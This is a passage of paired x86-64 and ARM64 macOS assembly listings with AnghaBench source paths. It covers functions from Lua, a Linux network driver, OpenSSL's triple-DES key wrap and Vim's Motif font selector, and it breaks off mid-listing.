.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _luaF_newLclosure ## -- Begin function luaF_newLclosure .p2align 4, 0x90 _luaF_newLclosure: ## @luaF_newLclosure .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %ebx movq %rdi, %r14 movq _LUA_TLCL@GOTPCREL(%rip), %rax movl (%rax), %r15d movl %esi, %edi callq _sizeLclosure movq %r14, %rdi movl %r15d, %esi movl %eax, %edx callq _luaC_newobj movq %rax, %rdi callq _gco2lcl movq %rax, %r14 movq $0, 16(%rax) movl %ebx, %edi callq _cast_byte movl %eax, 8(%r14) testl %ebx, %ebx je LBB0_5 ## %bb.1: movslq %ebx, %rax leal -1(%rbx), %ecx andl $3, %ebx je LBB0_3 .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq (%r14), %rdx movq $0, -8(%rdx,%rax,8) decq %rax decl %ebx jne LBB0_2 LBB0_3: cmpl $3, %ecx jb LBB0_5 .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movq (%r14), %rcx movq $0, -8(%rcx,%rax,8) movq (%r14), %rcx movq $0, -16(%rcx,%rax,8) movq (%r14), %rcx movq $0, -24(%rcx,%rax,8) movq (%r14), %rcx movq $0, -32(%rcx,%rax,8) addq $-4, %rax testl %eax, %eax jne LBB0_4 LBB0_5: movq %r14, %rax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _LUA_TLCL,4,2 ## @LUA_TLCL .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _luaF_newLclosure ; -- Begin function luaF_newLclosure .p2align 2 _luaF_newLclosure: ; @luaF_newLclosure .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x1 mov x20, x0 Lloh0: adrp x8, _LUA_TLCL@GOTPAGE Lloh1: ldr x8, [x8, _LUA_TLCL@GOTPAGEOFF] Lloh2: ldr w21, [x8] mov x0, x1 bl _sizeLclosure mov x2, x0 mov x0, x20 mov x1, x21 bl _luaC_newobj bl _gco2lcl mov x20, x0 str xzr, [x0, #16] mov x0, x19 bl _cast_byte str w0, [x20, #8] cbz w19, LBB0_3 ; %bb.1: sbfiz x8, x19, #3, #32 sub x8, x8, #8 LBB0_2: ; =>This Inner Loop Header: Depth=1 ldr x9, [x20] str xzr, [x9, x8] sub x8, x8, #8 sub w19, w19, #1 cbnz w19, LBB0_2 LBB0_3: mov x0, x20 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _LUA_TLCL,4,2 ; @LUA_TLCL .subsections_via_symbols

AnghaBench/skynet/3rd/lua/extr_lfunc.c_luaF_newLclosure.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function __qede_remove ___qede_remove: ## @__qede_remove .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r15d movq %rdi, %r14 callq _pci_get_drvdata testq %rax, %rax je LBB0_1 ## %bb.2: movq %rax, %rbx movq %rax, %rdi callq _netdev_priv movq %rax, %r13 movq %rbx, -56(%rbp) ## 8-byte Spill movq %r14, %rbx movq 16(%rax), %r14 leaq L_.str.1(%rip), %rsi movq %rax, %rdi callq _DP_INFO movq _QEDE_REMOVE_RECOVERY@GOTPCREL(%rip), %r12 xorl %esi, %esi cmpl %r15d, (%r12) sete %sil movq %r13, %rdi callq _qede_rdma_dev_remove movl %r15d, -44(%rbp) ## 4-byte Spill cmpl %r15d, (%r12) movq %r14, %r12 movq %rbx, %r14 movq -56(%rbp), %r15 ## 8-byte Reload je LBB0_4 ## %bb.3: movq %r15, %rdi callq _unregister_netdev movq %r13, %rdi addq $8, %rdi callq _cancel_delayed_work_sync movq (%r13), %rax movq (%rax), %rax movq _PCI_D0@GOTPCREL(%rip), %rcx movl (%rcx), %esi movq %r12, %rdi callq *(%rax) movq %r14, %rdi xorl %esi, %esi callq _pci_set_drvdata LBB0_4: movq %r13, %rdi callq _qede_ptp_disable movq _qed_ops@GOTPCREL(%rip), %rbx movq (%rbx), %rax movq (%rax), %rax movq %r12, %rdi callq *8(%rax) movq _system_state@GOTPCREL(%rip), %rax movq (%rax), %rax movq _SYSTEM_POWER_OFF@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_5 ## %bb.8: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_1: leaq L_.str(%rip), %rbx jmp LBB0_7 LBB0_5: movq (%rbx), %rax movq (%rax), %rax movq %r12, %rdi callq *(%rax) leaq L_.str.2(%rip), %rbx movq _QEDE_REMOVE_RECOVERY@GOTPCREL(%rip), %rax movl -44(%rbp), %ecx ## 4-byte Reload cmpl %ecx, (%rax) je LBB0_7 ## %bb.6: movq %r15, %rdi callq _free_netdev LBB0_7: movq %r14, %rdi movq %rbx, %rsi addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _dev_info ## TAILCALL .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Device has already been removed\n" L_.str.1: ## @.str.1 .asciz "Starting qede_remove\n" .comm _QEDE_REMOVE_RECOVERY,4,2 ## @QEDE_REMOVE_RECOVERY .comm _PCI_D0,4,2 ## @PCI_D0 .comm _qed_ops,8,3 ## @qed_ops .comm _system_state,8,3 ## @system_state .comm _SYSTEM_POWER_OFF,8,3 ## @SYSTEM_POWER_OFF L_.str.2: ## @.str.2 .asciz "Ending qede_remove successfully\n" .no_dead_strip ___qede_remove .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function __qede_remove ___qede_remove: ; @__qede_remove .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x1 mov x19, x0 bl _pci_get_drvdata cbz x0, LBB0_5 ; %bb.1: mov x21, x0 bl _netdev_priv mov x23, x0 ldr x22, [x0, #16] Lloh0: adrp x1, l_.str.1@PAGE Lloh1: add x1, x1, l_.str.1@PAGEOFF bl _DP_INFO Lloh2: adrp x24, _QEDE_REMOVE_RECOVERY@GOTPAGE Lloh3: ldr x24, [x24, _QEDE_REMOVE_RECOVERY@GOTPAGEOFF] ldr w8, [x24] cmp w8, w20 cset w1, eq mov x0, x23 bl _qede_rdma_dev_remove ldr w8, [x24] cmp w8, w20 b.eq LBB0_3 ; %bb.2: mov x0, x21 bl _unregister_netdev add x0, x23, #8 bl _cancel_delayed_work_sync ldr x8, [x23] ldr x8, [x8] ldr x8, [x8] Lloh4: adrp x9, _PCI_D0@GOTPAGE Lloh5: ldr x9, [x9, _PCI_D0@GOTPAGEOFF] Lloh6: ldr w1, [x9] mov x0, x22 blr x8 mov x0, x19 mov x1, #0 bl _pci_set_drvdata LBB0_3: mov x0, x23 bl _qede_ptp_disable Lloh7: adrp x23, _qed_ops@GOTPAGE Lloh8: ldr x23, [x23, _qed_ops@GOTPAGEOFF] ldr x8, [x23] ldr x8, [x8] ldr x8, [x8, #8] mov x0, x22 blr x8 Lloh9: adrp x8, _system_state@GOTPAGE Lloh10: ldr x8, [x8, _system_state@GOTPAGEOFF] Lloh11: ldr x8, [x8] Lloh12: adrp x9, _SYSTEM_POWER_OFF@GOTPAGE Lloh13: ldr x9, [x9, _SYSTEM_POWER_OFF@GOTPAGEOFF] Lloh14: ldr x9, [x9] cmp x8, x9 b.ne LBB0_6 ; %bb.4: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret LBB0_5: Lloh15: adrp x1, l_.str@PAGE Lloh16: add x1, x1, l_.str@PAGEOFF b LBB0_9 LBB0_6: ldr x8, [x23] ldr x8, [x8] ldr x8, [x8] mov x0, x22 blr x8 ldr w8, [x24] cmp w8, w20 b.eq LBB0_8 ; %bb.7: mov x0, x21 bl _free_netdev LBB0_8: Lloh17: adrp x1, l_.str.2@PAGE Lloh18: add x1, x1, l_.str.2@PAGEOFF LBB0_9: mov x0, x19 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _dev_info .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpAdd Lloh17, Lloh18 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Device has already been removed\n" l_.str.1: ; @.str.1 .asciz "Starting qede_remove\n" .comm _QEDE_REMOVE_RECOVERY,4,2 ; @QEDE_REMOVE_RECOVERY .comm _PCI_D0,4,2 ; @PCI_D0 .comm _qed_ops,8,3 ; @qed_ops .comm _system_state,8,3 ; @system_state .comm _SYSTEM_POWER_OFF,8,3 ; @SYSTEM_POWER_OFF l_.str.2: ; @.str.2 .asciz "Ending qede_remove successfully\n" .no_dead_strip ___qede_remove .subsections_via_symbols

AnghaBench/linux/drivers/net/ethernet/qlogic/qede/extr_qede_main.c___qede_remove.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function des_ede3_wrap _des_ede3_wrap: ## @des_ede3_wrap .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, %r14 movq %rdx, %r15 movq %rsi, %r12 movq %rdi, -80(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq _SHA_DIGEST_LENGTH@GOTPCREL(%rip), %rax movl (%rax), %eax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r13 movq _TDES_IVLEN@GOTPCREL(%rip), %rax movq (%rax), %rbx leaq (%rbx,%r14), %rcx leaq (%rcx,%rbx), %rax movq %rax, -56(%rbp) ## 8-byte Spill testq %r12, %r12 je LBB0_1 ## %bb.2: movq %rcx, -72(%rbp) ## 8-byte Spill leaq (%r12,%rbx), %rdi movq %rdi, -64(%rbp) ## 8-byte Spill movq %r15, %rsi movq %r14, %rdx callq _memmove movq %r15, %rdi movq %r14, %rsi movq %r13, %rdx callq _SHA1 addq %r12, %r14 addq %rbx, %r14 movq %r14, %rdi movq %r13, %rsi movq %rbx, %rdx callq _memcpy movq _SHA_DIGEST_LENGTH@GOTPCREL(%rip), %rax movl (%rax), %esi movq %r13, %rdi callq _OPENSSL_cleanse movq -80(%rbp), %r15 ## 8-byte Reload movl 16(%r15), %edi movq (%r15), %rsi movq %rbx, %rdx callq _rand_bytes_ex testq %rax, %rax jle LBB0_3 ## %bb.4: movq (%r15), %rsi movq %r12, %rdi movq %rbx, %rdx callq _memcpy movq 8(%r15), %rax movq %r15, %rdi movq -64(%rbp), %rdx ## 8-byte Reload movq %rdx, %rsi movq -72(%rbp), %rcx ## 8-byte Reload callq *(%rax) movq %r12, %rdi xorl %esi, %esi movq -56(%rbp), %r14 ## 8-byte Reload movq %r14, %rdx callq _BUF_reverse movq (%r15), %rdi movq _wrap_iv@GOTPCREL(%rip), %rax movq (%rax), %rsi movq %rbx, %rdx callq _memcpy movq 8(%r15), %rax movq %r15, %rdi movq %r12, %rsi movq %r12, %rdx movq %r14, %rcx callq *(%rax) jmp LBB0_5 LBB0_1: movq -56(%rbp), %r14 ## 8-byte Reload jmp LBB0_5 LBB0_3: xorl %r14d, %r14d LBB0_5: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_7 ## %bb.6: movl %r14d, %eax leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_7: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _SHA_DIGEST_LENGTH,4,2 ## @SHA_DIGEST_LENGTH .comm _TDES_IVLEN,8,3 ## @TDES_IVLEN .comm _wrap_iv,8,3 ## @wrap_iv .no_dead_strip _des_ede3_wrap .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function des_ede3_wrap _des_ede3_wrap: ; @des_ede3_wrap .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 sub sp, sp, #16 mov x25, x3 mov x27, x2 mov x20, x1 mov x21, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-88] Lloh3: adrp x28, _SHA_DIGEST_LENGTH@GOTPAGE Lloh4: ldr x28, [x28, _SHA_DIGEST_LENGTH@GOTPAGEOFF] ldr w8, [x28] mov x9, x8 Lloh5: adrp x16, ___chkstk_darwin@GOTPAGE Lloh6: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x8, x8, #15 and x8, x8, #0x1fffffff0 sub x26, x9, x8 mov sp, x26 Lloh7: adrp x8, _TDES_IVLEN@GOTPAGE Lloh8: ldr x8, [x8, _TDES_IVLEN@GOTPAGEOFF] Lloh9: ldr x22, [x8] add x23, x22, x3 add x19, x23, x22 cbz x1, LBB0_4 ; %bb.1: add x24, x20, x22 mov x0, x24 mov x1, x27 mov x2, x25 bl _memmove mov x0, x27 mov x1, x25 mov x2, x26 bl _SHA1 add x8, x20, x25 add x0, x8, x22 mov x1, x26 mov x2, x22 bl _memcpy ldr w1, [x28] mov x0, x26 bl _OPENSSL_cleanse ldr w0, [x21, #16] ldr x1, [x21] mov x2, x22 bl _rand_bytes_ex cmp x0, #1 b.lt LBB0_3 ; %bb.2: ldr x1, [x21] mov x0, x20 mov x2, x22 bl _memcpy ldr x8, [x21, #8] ldr x8, [x8] mov x0, x21 mov x1, x24 mov x2, x24 mov x3, x23 blr x8 mov x0, x20 mov x1, #0 mov x2, x19 bl _BUF_reverse ldr x0, [x21] Lloh10: adrp x8, _wrap_iv@GOTPAGE Lloh11: ldr x8, [x8, _wrap_iv@GOTPAGEOFF] Lloh12: ldr x1, [x8] mov x2, x22 bl _memcpy ldr x8, [x21, #8] ldr x8, [x8] mov x0, x21 mov x1, x20 mov x2, x20 mov x3, x19 blr x8 b LBB0_4 LBB0_3: mov w19, #0 LBB0_4: ldur x8, [x29, #-88] Lloh13: adrp x9, ___stack_chk_guard@GOTPAGE Lloh14: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh15: ldr x9, [x9] cmp x9, x8 b.ne LBB0_6 ; %bb.5: mov x0, x19 sub sp, x29, #80 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_6: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .cfi_endproc ; -- End function .comm _SHA_DIGEST_LENGTH,4,2 ; @SHA_DIGEST_LENGTH .comm _TDES_IVLEN,8,3 ; @TDES_IVLEN .comm _wrap_iv,8,3 ; @wrap_iv .no_dead_strip _des_ede3_wrap .subsections_via_symbols

AnghaBench/openssl/providers/implementations/ciphers/extr_cipher_tdes_wrap.c_des_ede3_wrap.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function do_choice _do_choice: ## @do_choice .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %ecx, %r14d movq %rdx, %r13 movq %rsi, %r15 movq %rdi, %rbx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movl (%rdx), %edi movq _XmSTRING_DEFAULT_CHARSET@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -72(%rbp), %rdx callq _XmStringGetLtoR movq (%r15), %rax movl %r14d, %r12d movq (%rax,%r12,8), %rdi movq -72(%rbp), %rsi testq %rdi, %rdi je LBB0_1 ## %bb.2: movq %rbx, -80(%rbp) ## 8-byte Spill callq _strcmp movq %rax, %rbx movq (%r15), %rax movq (%rax,%r12,8), %rdi callq _XtFree testq %rbx, %rbx je LBB0_3 ## %bb.5: movq -72(%rbp), %rdi jmp LBB0_6 LBB0_1: movq %rsi, %rdi LBB0_6: callq _XtNewString movq (%r15), %rcx movq %rax, (%rcx,%r12,8) LBB0_7: movq -72(%rbp), %rdi callq _XtFree movl %r14d, %edi movq %r15, %rsi callq _fill_lists movq (%r15), %rax movq _ENCODING@GOTPCREL(%rip), %r14 movq (%r14), %rcx movq (%rax,%rcx,8), %rdi testq %rdi, %rdi je LBB0_30 ## %bb.8: movq _NAME@GOTPCREL(%rip), %r12 movq (%r12), %rcx cmpq $0, (%rax,%rcx,8) je LBB0_30 ## %bb.9: movq _STYLE@GOTPCREL(%rip), %r13 movq (%r13), %rcx cmpq $0, (%rax,%rcx,8) je LBB0_30 ## %bb.10: movq _SIZE@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq $0, (%rax,%rcx,8) je LBB0_30 ## %bb.11: movq _wild@GOTPCREL(%rip), %rbx movq (%rbx), %rsi callq _strcmp testq %rax, %rax je LBB0_30 ## %bb.12: movq (%r15), %rax movq (%r12), %rcx movq (%rax,%rcx,8), %rdi movq (%rbx), %rsi callq _strcmp testq %rax, %rax je LBB0_30 ## %bb.13: movq (%r15), %rax movq (%r13), %rcx movq (%rax,%rcx,8), %rdi movq (%rbx), %rsi callq _strcmp testq %rax, %rax je LBB0_30 ## %bb.14: movq (%r15), %rax movq _SIZE@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movq (%rax,%rcx,8), %rdi movq (%rbx), %rsi callq _strcmp testq %rax, %rax je LBB0_30 ## %bb.15: movq 8(%r15), %rdi testq %rdi, %rdi je LBB0_17 ## %bb.16: callq _XtFree LBB0_17: movq $0, 8(%r15) cmpl $0, 16(%r15) jle LBB0_28 ## %bb.18: xorl %ebx, %ebx jmp LBB0_19 LBB0_30: leaq L_.str.3(%rip), %rdi callq __ movq %rax, %r14 movq %rax, %rdi callq _XmStringCreateLocalized movl %eax, %ebx movq _XmNlabelString@GOTPCREL(%rip), %rax movl (%rax), %esi movl %ebx, %edx callq _XtSetArg movl 24(%r15), %edi leaq -64(%rbp), %rsi movl $1, %edx callq _XtSetValues movl 24(%r15), %edi callq _apply_fontlist movl 20(%r15), %edi movq %r14, %rsi callq _XmTextSetString movl %ebx, %edi callq _XmStringFree movq _False@GOTPCREL(%rip), %rax LBB0_31: movl (%rax), %eax movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -48(%rbp), %rcx jne LBB0_33 ## %bb.32: addq $56, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .p2align 4, 0x90 LBB0_24: ## in Loop: Header=BB0_19 Depth=1 incl %ebx cmpl 16(%r15), %ebx jge LBB0_25 LBB0_19: ## =>This Inner Loop Header: Depth=1 movq (%r14), %rsi movq %r15, %rdi movl %ebx, %edx callq _match testq %rax, %rax je LBB0_24 ## %bb.20: ## in Loop: Header=BB0_19 Depth=1 movq (%r12), %rsi movq %r15, %rdi movl %ebx, %edx callq _match testq %rax, %rax je LBB0_24 ## %bb.21: ## in Loop: Header=BB0_19 Depth=1 movq (%r13), %rsi movq %r15, %rdi movl %ebx, %edx callq _match testq %rax, %rax je LBB0_24 ## %bb.22: ## in Loop: Header=BB0_19 Depth=1 movq _SIZE@GOTPCREL(%rip), %rax movq (%rax), %rsi movq %r15, %rdi movl %ebx, %edx callq _match testq %rax, %rax je LBB0_24 ## %bb.23: movq %r15, %rdi movl %ebx, %esi callq _fn movq %rax, %rdi callq _XtNewString movq %rax, %rsi movq %rax, 8(%r15) jmp LBB0_26 LBB0_3: movq (%r15), %rax movq $0, (%rax,%r12,8) movq -80(%rbp), %rdi ## 8-byte Reload testq %rdi, %rdi je LBB0_7 ## %bb.4: movl (%r13), %esi callq _XmListDeselectItem jmp LBB0_7 LBB0_25: movq 8(%r15), %rsi LBB0_26: testq %rsi, %rsi je LBB0_28 ## %bb.27: movl 20(%r15), %edi callq _XmTextSetString movq %r15, %rdi callq _display_sample movq _True@GOTPCREL(%rip), %rax jmp LBB0_31 LBB0_28: movq _VIM_ERROR@GOTPCREL(%rip), %rax movl (%rax), %r14d leaq L_.str(%rip), %rdi callq __ movq %rax, %r15 leaq L_.str.1(%rip), %rdi callq __ movq %rax, %rbx leaq L_.str.2(%rip), %rdi callq __ movq _FALSE@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl %ecx, (%rsp) movl %r14d, %edi movq %r15, %rsi movq %rbx, %rdx movq %rax, %rcx movl $1, %r8d xorl %r9d, %r9d callq _do_dialog movq _True@GOTPCREL(%rip), %rax jmp LBB0_31 LBB0_33: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _XmSTRING_DEFAULT_CHARSET,4,2 ## @XmSTRING_DEFAULT_CHARSET .comm _ENCODING,8,3 ## @ENCODING .comm _NAME,8,3 ## @NAME .comm _STYLE,8,3 ## @STYLE .comm _SIZE,8,3 ## @SIZE .comm _wild,8,3 ## @wild .comm _VIM_ERROR,4,2 ## @VIM_ERROR .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Error" L_.str.1: ## @.str.1 .asciz "Invalid font specification" L_.str.2: ## @.str.2 .asciz "&Dismiss" .comm _FALSE,4,2 ## @FALSE .comm _True,4,2 ## @True L_.str.3: ## @.str.3 .asciz "no specific match" .comm _XmNlabelString,4,2 ## @XmNlabelString .comm _False,4,2 ## @False .no_dead_strip _do_choice .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function do_choice _do_choice: ; @do_choice .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x3 mov x22, x2 mov x19, x1 mov x21, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #24] ldr w0, [x2] Lloh3: adrp x8, _XmSTRING_DEFAULT_CHARSET@GOTPAGE Lloh4: ldr x8, [x8, _XmSTRING_DEFAULT_CHARSET@GOTPAGEOFF] Lloh5: ldr w1, [x8] mov x2, sp bl _XmStringGetLtoR ldr x8, [x19] mov w24, w20 ldr x0, [x8, w20, uxtw #3] ldr x1, [sp] cbz x0, LBB0_3 ; %bb.1: bl _strcmp mov x23, x0 ldr x8, [x19] ldr x0, [x8, x24, lsl #3] bl _XtFree cbz x23, LBB0_26 ; %bb.2: ldr x0, [sp] b LBB0_4 LBB0_3: mov x0, x1 LBB0_4: bl _XtNewString ldr x8, [x19] str x0, [x8, x24, lsl #3] LBB0_5: ldr x0, [sp] bl _XtFree mov x0, x20 mov x1, x19 bl _fill_lists ldr x8, [x19] Lloh6: adrp x21, _ENCODING@GOTPAGE Lloh7: ldr x21, [x21, _ENCODING@GOTPAGEOFF] ldr x9, [x21] ldr x0, [x8, x9, lsl #3] cbz x0, LBB0_17 ; %bb.6: Lloh8: adrp x22, _NAME@GOTPAGE Lloh9: ldr x22, [x22, _NAME@GOTPAGEOFF] ldr x9, [x22] ldr x9, [x8, x9, lsl #3] cbz x9, LBB0_17 ; %bb.7: Lloh10: adrp x23, _STYLE@GOTPAGE Lloh11: ldr x23, [x23, _STYLE@GOTPAGEOFF] ldr x9, [x23] ldr x9, [x8, x9, lsl #3] cbz x9, LBB0_17 ; %bb.8: Lloh12: adrp x24, _SIZE@GOTPAGE Lloh13: ldr x24, [x24, _SIZE@GOTPAGEOFF] ldr x9, [x24] ldr x8, [x8, x9, lsl #3] cbz x8, LBB0_17 ; %bb.9: Lloh14: adrp x20, _wild@GOTPAGE Lloh15: ldr x20, [x20, _wild@GOTPAGEOFF] ldr x1, [x20] bl _strcmp cbz x0, LBB0_17 ; %bb.10: ldr x8, [x19] ldr x9, [x22] ldr x0, [x8, x9, lsl #3] ldr x1, [x20] bl _strcmp cbz x0, LBB0_17 ; %bb.11: ldr x8, [x19] ldr x9, [x23] ldr x0, [x8, x9, lsl #3] ldr x1, [x20] bl _strcmp cbz x0, LBB0_17 ; %bb.12: ldr x8, [x19] ldr x9, [x24] ldr x0, [x8, x9, lsl #3] ldr x1, [x20] bl _strcmp cbz x0, LBB0_17 ; %bb.13: ldr x0, [x19, #8] cbz x0, LBB0_15 ; %bb.14: bl _XtFree LBB0_15: str xzr, [x19, #8] ldr w8, [x19, #16] cmp w8, #1 b.lt LBB0_31 ; %bb.16: mov w20, #0 b LBB0_21 LBB0_17: Lloh16: adrp x0, l_.str.3@PAGE Lloh17: add x0, x0, l_.str.3@PAGEOFF bl __ mov x20, x0 bl _XmStringCreateLocalized mov x21, x0 Lloh18: adrp x8, _XmNlabelString@GOTPAGE Lloh19: ldr x8, [x8, _XmNlabelString@GOTPAGEOFF] Lloh20: ldr w1, [x8] mov x2, x0 bl _XtSetArg ldr w0, [x19, #24] add x1, sp, #8 mov w2, #1 bl _XtSetValues ldr w0, [x19, #24] bl _apply_fontlist ldr w0, 